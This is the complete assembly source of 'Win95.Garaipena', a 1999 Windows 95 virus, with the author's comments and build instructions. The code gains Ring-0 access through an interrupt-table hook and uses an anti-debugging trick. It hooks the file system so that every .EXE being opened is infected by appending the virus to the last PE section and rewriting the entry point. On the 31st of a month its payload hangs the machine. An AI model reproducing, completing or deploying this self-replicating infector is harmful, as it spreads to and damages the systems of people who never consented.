; -ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-
; Win95.Garaipena                     Copyright (c) 1999 by Billy Belceb£/DDT
; -ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-
;
; Here again. Yep, it's me. Now, with a resident PE  infector for Win9X, that
; infects files when system opens it. It's a simple Ring-0 virus, that incre-
; ases last section of infected PE files placing its body here. Simple, cause
; the lack of time i had for code it. I tried to make the code as understand-
; able as i could, so it's mainly for let the ppl get into the world of Ring0
; coding. I have planned to code in the future the polymorphic (and maybe the
; midfile) version of this  virus. By the way, as you  might have  noticed, i
; didn't used  any kind of  includes, neither 29A's, neither my owns, neither
; SDK or DDK ones... This is  because i  think this code is self-explanatory,
; and besides, with  includes you have always  to have it for see what offset
; modifies  this or that  instruction. I don't discard using  includes in the
; future, time will say it.
;
; Its name comes from a word in euskera (the basque country's language), that
; means  in  english "Victory". It's  also  a Def Con Dos (a spanish rap-rock
; band) song, that describe myself almost perfectly (well, myself, zAxOn  and
; Frontis :)
;
; All 31thz days, the  infected computer  will hang. Not  too  much  original
; payload for not too much time for DDT#1 deadline...
; 
; Well, my  greetings this  time flies  to  that  ppl  that gave me ideas and
; solutions while making this virus: Super, nIgr0, Vecna and b0z0.
;
; This virus  is dedicated to those people that  fightz for  their rightz and
; againist fascism. Never give up! Also dedicated to ppl in Basque country...
;
; And remember...                                       Think, act, innovate.  
;
; Billy Belceb£,
; mass killer and ass kicker.
; -ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-ś-
;
; ššš( Garaipena Virus )ššššššššššššššššššššššššššššššššššššššššššššššššššššš
;
; Compile as usual, with TASM32 and TLINK32...
;
; TASM32 /m3 /ml garaip,,;
; TLINK32 /Tpe /aa garaip,garaip,,import32.lib
; PEWRSEC GARAIP.EXE
;
; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Constants, data and another shit                                        ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Victoria! Gritan los vecinos cuando van hacia la horca! Victoria!

        .586p                           ; Blah... simply for phun.
        .model  flat                    ; Hehehe i love 32 bit stuph ;)

TRUE                            equ     1
FALSE                           equ     0

DEBUG                           equ     FALSE ; Oh my beloved SoftIce... :)

; IFSMgr functions used

IFSMgr_GetHeap                  equ     0040000Dh
IFSMgr_Ring0_FileIO             equ     00400032h
UniToBCSPath                    equ     00400041h
IFSMgr_InstallFileSystemApiHook equ     00400067h

; IFSMgr_Ring0_FileIO functions used

R0_FILEATTRIBUTES               equ     04300h
R0_OPENCREATFILE                equ     0D500h
R0_CLOSEFILE                    equ     0D700h
R0_READFILE                     equ     0D600h  
R0_WRITEFILE                    equ     0D601h  
R0_GETFILESIZE                  equ     0D800h

; For check if file being opened in FS hook

IFSFN_OPEN                      equ     24h

; Anti-debugging trick

@Int01h                         equ     <db 0F1h>

; Constants of the virus

virus_size                      equ     (offset virus_end-offset virus_start)
size_to_allocate                equ     virus_size+2048
section_flags                   equ     00000020h or 20000000h or 80000000h

IF DEBUG
Interrupt                       equ     05h 
ELSE
Interrupt                       equ     01h ; Let'z antidebug their arse
ENDIF

; Macro for make the VxD Calls required

VxDCall macro   VxDService
        local   @@@@@@
        int     20h                     ; CD 20                 +00
        dd      VxDService              ; XX XX XX XX           +02
        jmp     @@@@@@                  ; EB 04                 +06
        dd      VxDService              ; XX XX XX XX           +08
@@@@@@:
        endm

extrn   ExitProcess:PROC
extrn   MessageBoxA:PROC

        .data

szTitle         db      "[Win95.Garaipena by Billy Belcebu/DDT]",0

szMessage       db      "Garaipena, Victoria, Victory, Sieg, Victorie...",13
                db      "La sangre de los pobres es la tinta roja...",13
                db      "con la que los poderosos escriben su historia!",0

        .code

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Initialize virus, and get Ring-0 privilege                              ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; No te arrodilles jam s! Ni para afinar la punter”a!

virus_start     label   byte

start:
        pushad
        pushfd

        call    SetUpSEH
        mov     esp,[esp+8]
        jmp     DeactivateSEH
SetUpSEH:
        push    dword ptr fs:[0]
        mov     fs:[0],esp

        call    DeltaOffset             ; Guess...
DeltaOffset:
        pop     ebp
        sub     ebp,offset DeltaOffset  ; Ehrrm... for what is this? :)

        push    edx
        sidt    [esp-2]                 ; Interrupt table to stack
        pop     edx

        add     edx,(Interrupt*8)+4     ; Get interrupt vector

        mov     ebx,[edx]
        mov     bx,word ptr [edx-4]     ; Grmffxzxmfmfmzmzxxxxggrrr... 

        lea     edi,[ebp+InterruptHandler] ; Wheeeeehoooowww?

        mov     [edx-4],di
        ror     edi,16                  ; Move MSW to LSW
        mov     [edx+2],di

        push    ds                      ; Safety safety safety...
        push    es

        IF      DEBUG
        int     Interrupt               ; Ring-0 comez hereeeeeee!!!!!!!
        ELSE
        @Int01h                         ; Or here ;)
        ENDIF

        pop     es
        pop     ds

        mov     [edx-4],bx              ; Restore old interrupt values
        ror     ebx,16                  ; ROR, SHR, SAR... who cares?
        mov     [edx+2],bx

DeactivateSEH:
        pop     dword ptr fs:[0]
        pop     edx

back2host:
        popfd
        popad
        push    offset host
ibase   equ     $-4
        ret
       
; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Ring-0 code                                                             ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Lenin Aizak!

InterruptHandler:
        pushad

        call    shitz0r
shitz0r:
        pop     ebp
        sub     ebp,offset shitz0r        

        mov     eax,dr0
        cmp     eax,"DDT"               ; Are we resident?
        jz      r3_back                 ; Yez, go away

        push    size_to_allocate        ; Get Memory from the heap
@@1:    VxDCall IFSMgr_GetHeap      
        pop     ecx                     ; Whoops. Fucking VxD services... :)

        or      eax,eax                 ; cmp eax,0 - Function succesful?
        jz      r3_back                 ; Shit. Back to the boring Ring-3! :(

        mov     byte ptr [ebp+semaphore],0 ; Reset semaphore variable :)
        
        mov     edi,eax                 ; Where move virus
        lea     esi,[ebp+start]         ; Life is a bitch and i hate to optimize

        push    eax                     ; Save memory address for later

        mov     ecx,virus_size          ; More optimized than CX only
        rep     movsb                   ; Move virus to its TSR location ;)

        pop     edi

        lea     ecx,[edi+New_Handler]   ; Install FileSystem Hook
        push    ecx
@@2:    VxDCall IFSMgr_InstallFileSystemApiHook
        pop     ecx

        mov     dword ptr [edi+Old_Handler],eax

        mov     eax,"DDT"               ; Kewl residence mark :)
        mov     dr0,eax

r3_back:
        popad
        iretd                           ; return to Ring-3. Fucking user level.

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ FileSystem hook                                                         ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Hipokrisiari stop!!!!!!!

New_Handler equ  $-(offset virus_start)

FSA_Hook:
        push    ebp                     ; Ussual lame stuph
        mov     ebp,esp
        sub     esp,20h

        push    dword ptr [ebp+1Ch]     ; Chup chup chup churupup churrupupup
        push    dword ptr [ebp+18h]
        push    dword ptr [ebp+14h]
        push    dword ptr [ebp+10h]
        push    dword ptr [ebp+0Ch]
        push    dword ptr [ebp+08h]

        cmp     dword ptr [ebp+0Ch],IFSFN_OPEN
        jnz     back2oldhandler

        pushad
        call    ring0_delta             ; Get delta offset of this
ring0_delta:
        pop     ebx
        sub     ebx,offset ring0_delta

        cmp     byte ptr [ebx+semaphore],00h
        jne     pushnback

        inc     byte ptr [ebx+semaphore]
        pushad
        call    prepare_infection
        call    infection_stuff
        popad
        dec     byte ptr [ebx+semaphore]

pushnback:
        popad

back2oldhandler:
        db      0B8h                    ; MOV EAX,imm32 opcode
Old_Handler     equ  $-(offset virus_start)
OldFSA  dd      00000000h
        call    [eax]
        add     esp,18h                 ; Fix stack
        leave
        ret

semaphore db    0

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Convert UNICODE to ASCIIz                                               ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; A kemar iglesias! a kemar konventos! ARMAS PA'L PUEBLO!!!

prepare_infection:
        pushad
        lea     edi,[ebx+fname]
        mov     eax,[ebp+10h]
        cmp     al,0FFh
        jz      wegotdrive
        add     al,"@"
        stosb
        mov     al,":"
        stosb
wegotdrive:

        xor     eax,eax
        push    eax
        mov     eax,100h
        push    eax
        mov     eax,[ebp+1Ch]
        mov     eax,[eax+0Ch]
        add     eax,4
        push    eax
        push    edi

@@3:    VxDCall UniToBCSPath            ; Convert to ASCII

        add     esp,10h
        add     edi,eax
        xor     eax,eax                 ; Make string null-terminated
        stosb
        popad
        ret

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Infect file if EXE                                                      ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Ernesto Guevara "Ch"... Gure laguna da... Malcolm X... Gure laguna da...

infection_stuff:
        lea     edi,[ebx+fname]
getend: cmp     byte ptr [edi],00h
        jz      reached_end
        inc     edi
        jmp     getend
reached_end:
        inc     edi

        cmp     dword ptr [edi-05h],"EXE." ; Ehem... guess
        jnz     notsofunny

        IF      DEBUG                   ; Only if debugging shitz0rz
        cmp     dword ptr [edi-0Ch],"TAOG" ; If not a goat, don't execute
        jnz     notsofunny
        ENDIF

        call    payload                 ; Lauch payload (if date matchz)

        lea     esi,[ebx+fname]
        mov     eax,R0_FILEATTRIBUTES
        push    eax
        call    R0_FileIO
        pop     eax

        jc      notsofunny
 
        push    esi
        push    ecx
                
        xor     ecx,ecx                 ; Clear attributes
        inc     eax
        call    R0_FileIO

        jc      stillnotsofunny

        lea     esi,[ebx+fname]

        mov     eax,R0_OPENCREATFILE
        xor     ecx,ecx
        mov     edx,ecx
        inc     edx                     ; EDX = 1
        mov     ebx,edx
        inc     ebx                     ; EBX = 2
        call    R0_FileIO

        jc      stillnotsofunny

        xchg    eax,ebx                 ; hehehe... as we did in DOS :)

        call    inf_delta
inf_delta:
        pop     ebp
        sub     ebp,offset inf_delta

        mov     eax,R0_READFILE
        push    eax
        mov     ecx,4
        mov     edx,03Ch
        lea     esi,[ebp+pehead]        ; There goez the PE header offzet
        call    R0_FileIO

        pop     eax

        mov     edx,dword ptr [ebp+pehead] ; Now read 1024 bytes of PE header
        lea     esi,[ebp+header]
        mov     ecx,400h
        call    R0_FileIO

        cmp     dword ptr [esi],"EP"    ; Is it PE?
        jnz     muthafucka

        cmp     dword ptr [esi+44h],"DCD" ; Was it already infected?
        jz      muthafucka
        mov     dword ptr [esi+44h],"DCD" ; Ke dize la jente? DEF CON DOS!

        mov     edi,esi                 ; We preserve in EDI the PE offset.

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ PE Infection routinez                                                   ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Denok gara Malcolm X!!!

        movzx   eax,word ptr [edi+06h]  ; Number of Sections in AX
        dec     eax                     ; NumberOfSections-1
        mov     ecx,28h                 ; Multiply ((n§of sections-1) *
        mul     ecx                     ; section header size)
        add     esi,eax
        add     esi,78h                 ; Pointer to Dir. Table
        mov     edx,[edi+74h]           ; Number of directory entries*8
        shl     edx,3                   ; (directory size = 8)
        add     esi,edx                 ; ESI = Points to last section                                       
                                        ; EDI = Points to PE header

        mov     eax,R0_GETFILESIZE
        call    R0_FileIO               ; Get File Size
        mov     edx,[esi+08h]           ; Some undesirable files request
        add     edx,[esi+14h]           ; more memory than its own size,
        cmp     edx,eax                 ; infect them, coz there'd be some
        jae     muthafucka              ; problems

        mov     ecx,[esi+10h]           ; Get size of section's RAW data
        push    ecx                     ; Save it for later use.

        add     eax,virus_size          ; Plus Virus Size :)
        sub     eax,[esi+14h]           ; EAX = Shit between last sec. and EOF
        push    eax                     ; Save it for later

        add     eax,[esi+08h]           ; Add old VirtualSize
        xor     edx,edx                 ; EDX must be zero while dividing
        mov     ecx,[edi+3Ch]           ; ECX = File Alignment
        push    eax                     ; Preserve EAX, as DIV destroy it
        div     ecx                     ; Interesting: only the remainder
        pop     eax                     ; Restore EAX (VirtualSize+Padding)
        sub     ecx,edx                 ; ECX = divisor - remainder
        add     eax,ecx                 ; and finally add it to EAX

        mov     [esi+10h],eax           ; EAX = New SizeOfRawData padded :)

        pop     eax
        xadd    dword ptr [esi+08h],eax ; New VirtualSize (Thx2Super4XADD)

        mov     ecx,[edi+28h]           ;   Old Entrypoint RVA
        add     ecx,[edi+34h]           ; + PE file Image Base
                                        ; --------------------
        mov     dword ptr [ebp+ibase],ecx ; Where real code is

        pop     ecx                     ; Old's section SizeOfRawData

        mov     edx,[esi+08h]           ; VirtualSize
        sub     edx,virus_size          ; minus Virus Size
        add     edx,[esi+0Ch]           ; VA Address
        sub     edx,eax                 ; minus old VirtualSize
        mov     [edi+28h],edx           ; New EntrypointRVA :)
 
        sub     eax,ecx
        add     dword ptr [edi+50h],eax ; New SizeOfImage
 
        or      dword ptr [esi+24h],section_flags ; Update section's flagz

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Append, and close file                                                  ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Tu fatxa, jodete, ke tienes la sangre roja y el korazon a la izkierda!

        mov     eax,R0_WRITEFILE
        mov     ecx,400h
        mov     edx,dword ptr [ebp+pehead]
        lea     esi,[ebp+header]
        call    R0_FileIO

        call    VxDFix

        mov     eax,R0_GETFILESIZE
        call    R0_FileIO

        mov     edx,R0_WRITEFILE
        xchg    eax,edx
        lea     esi,[ebp+virus_start]
        mov     ecx,virus_size
        call    R0_FileIO
       
        IF      DEBUG
        pusha
        call    beepy
        popa       
        ENDIF
                                    
muthafucka:
        mov     eax,R0_CLOSEFILE
        call    R0_FileIO

stillnotsofunny:
        pop     ecx
        pop     esi
        mov     eax,4301h
        call    R0_FileIO

notsofunny:
        ret

R0_FileIO:                              ; Optimize for the table
@@4:    VxDCall IFSMgr_Ring0_FileIO
        ret

payload:
        pushad

        call    p_delta
p_delta:
        pop     ebp
        sub     ebp,offset p_delta

        mov     al,07h
        out     70h,al
        in      al,71h      

        cmp     al,31d                  ; Is today 31th? :)
        jnz     return                  ; it not, return

        mov     edi,0C6DD5000h          ; Phys addresses (in my PC) 
        mov     esi,0C94B8000h          ; of text (ESI) and gfx (EDI) vid mem
        xor     eax,eax
@_1:    mov     [edi],eax
        mov     [esi],eax
        inc     edi
        inc     esi
        mov     ecx,0FFFFh              ; A delay for make the effect cooler
        loop    $
        jmp     @_1                     ; Endless loop.

return:
        popad
        ret

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Fix all VxDCallz                                                        ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Alza tu piko y pega al patr¢n... ahora aki solo manda Def Con Dos.

VxDFix:       
        mov     ecx,VxDTbSz             ; Number of times to pass the routine
        lea     esi,[ebp+VxDTblz]       ; Pointer to table
@lo0pz: lodsd                           ; Load current table offset in EAX
        mov     word ptr [ebp+eax],20CDh ; Put in that address 
        mov     edx,dword ptr [ebp+eax+08h] ; Get VxD Service value
        mov     dword ptr [ebp+eax+02h],edx ; And restore it 
        loop    @lo0pz
        ret

VxDTblz label   byte
        dd      (offset @@1)
        dd      (offset @@2)
        dd      (offset @@3)
        dd      (offset @@4)
VxDTbSz equ     (($-offset VxDTblz)/4)  ; Numbah of VxDCalls in code

mark    db      "[Garaipena by Billy Belcebu/DDT]",0 ; my only own mark :)

        IF      DEBUG
beepy:
        mov     ax, 1000
        mov     bx, 200
        mov     cx, ax                  
        mov     al, 0b6h
        out     43h, al
        mov     dx, 0012h
        mov     ax, 34dch
        div     cx
        out     42h, al
        mov     al, ah
        out     42h, al
        in      al, 61h
        mov     ah, al
        or      al, 03h
        out     61h, al
        l1:
        mov     ecx, 4680
        l2:
        loop    l2
        dec     bx
        jnz     l1
        mov     al, ah
        out     61h, al
        ret
        ENDIF

virus_end       label   byte

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ Data in the heap                                                        ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; This is our world in which we grow and we will grow to hate you.

heap_begin      label   byte
pehead  dd      00000000h               ; Here goez the temp offset to PE hdr
fname   db      100h    dup (00h)       ; 256 bytes of buffer. Enough.
header  db      400h    dup (00h)       ; 1024 bytes for PE header.
heap_end        label   byte

; ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ
; ³ First generation host                                                   ³
; ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ
; Ni un paso atr s! Ni para coger impulso!

host:
        push    00000000h
        push    offset szTitle
        push    offset szMessage
        push    00000000h
        call    MessageBoxA

        push    00000000h
        call    ExitProcess

end start

;
; Zapata vive... la lucha sigue... EZLN!!! CONTRA EL PODER FASCISTA DEL PRI!!
;
; ššš( Garaipena Virus )ššššššššššššššššššššššššššššššššššššššššššššššššššššš
